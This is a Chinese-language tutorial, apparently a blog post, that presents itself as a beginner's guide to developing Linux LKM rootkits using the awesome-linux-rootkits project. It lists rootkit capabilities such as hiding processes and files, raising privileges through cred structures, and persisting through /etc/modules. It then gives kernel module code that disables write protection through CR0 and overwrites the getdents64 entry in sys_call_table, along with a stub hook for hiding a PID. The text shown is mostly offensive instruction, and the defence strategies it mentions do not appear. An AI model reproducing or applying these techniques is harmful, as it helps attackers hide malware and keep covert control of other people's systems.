LKM rootkit开发完全指南：基于awesome-linux-rootkits的内核安全研究

贺晔音

666人浏览 · 2026-05-06 11:21:22

贺晔音 · 2026-05-06 11:21:22 发布

LKM rootkit开发完全指南：基于awesome-linux-rootkits的内核安全研究

【免费下载链接】awesome-linux-rootkits awesome-linux-rootkits 项目地址: https://gitcode.com/gh_mirrors/aw/awesome-linux-rootkits

LKM（Loadable Kernel Module）rootkit是Linux内核安全研究的重要领域，通过动态加载内核模块实现对系统的深度控制。本文基于awesome-linux-rootkits项目，为新手提供一份全面的LKM rootkit开发入门指南，涵盖核心技术、实战案例与防御策略。

一、LKM rootkit基础：内核模块的"双刃剑"

1.1 什么是LKM rootkit？

LKM rootkit是一种特殊的内核模块，能够修改内核行为而无需重新编译内核。它通过劫持系统调用、隐藏恶意活动实现持久化控制，是学习内核安全的典型案例。

1.2 核心功能模块

根据README.md的功能分类，成熟的LKM rootkit通常包含：

进程隐藏：过滤/proc文件系统中的进程信息
文件隐藏：篡改目录遍历系统调用（如getdents64）
权限提升：修改进程凭证（cred结构体）
持久化：通过/etc/modules等启动项实现开机自启

二、环境搭建：从零开始的内核开发准备

2.1 必要工具链

# 安装内核开发依赖
sudo apt install build-essential linux-headers-$(uname -r) git

# 克隆研究仓库
git clone https://gitcode.com/gh_mirrors/aw/awesome-linux-rootkits

2.2 首个内核模块示例

创建基础LKM框架（hello_rootkit.c）：

#include <linux/init.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Security Researcher");

static int __init hello_init(void) {
    printk(KERN_INFO "LKM rootkit loaded\n");
    return 0;
}

static void __exit hello_exit(void) {
    printk(KERN_INFO "LKM rootkit unloaded\n");
}

module_init(hello_init);
module_exit(hello_exit);

2.3 Makefile配置

obj-m += hello_rootkit.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

三、核心技术：从系统调用到进程隐藏

3.1 系统调用劫持原理

LKM rootkit的核心是修改sys_call_table。以Reptile rootkit为例，通过CR0寄存器WP位控制写保护：

// 关闭写保护（x86架构）
write_cr0(read_cr0() & ~0x10000);
// 修改系统调用表
sys_call_table[__NR_getdents64] = my_getdents64;
// 恢复写保护
write_cr0(read_cr0() | 0x10000);

代码逻辑源自details/reptile.md中sys_call_table修改技术

3.2 进程隐藏实现

通过过滤getdents64系统调用隐藏指定PID：

asmlinkage int my_getdents64(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count) {
    // 原始系统调用结果
    int ret = original_getdents64(fd, dirp, count);
    // 过滤包含"1234"（目标PID）的目录项
    // ...实现逻辑参考Reptile的rep_mod.c
    return ret;
}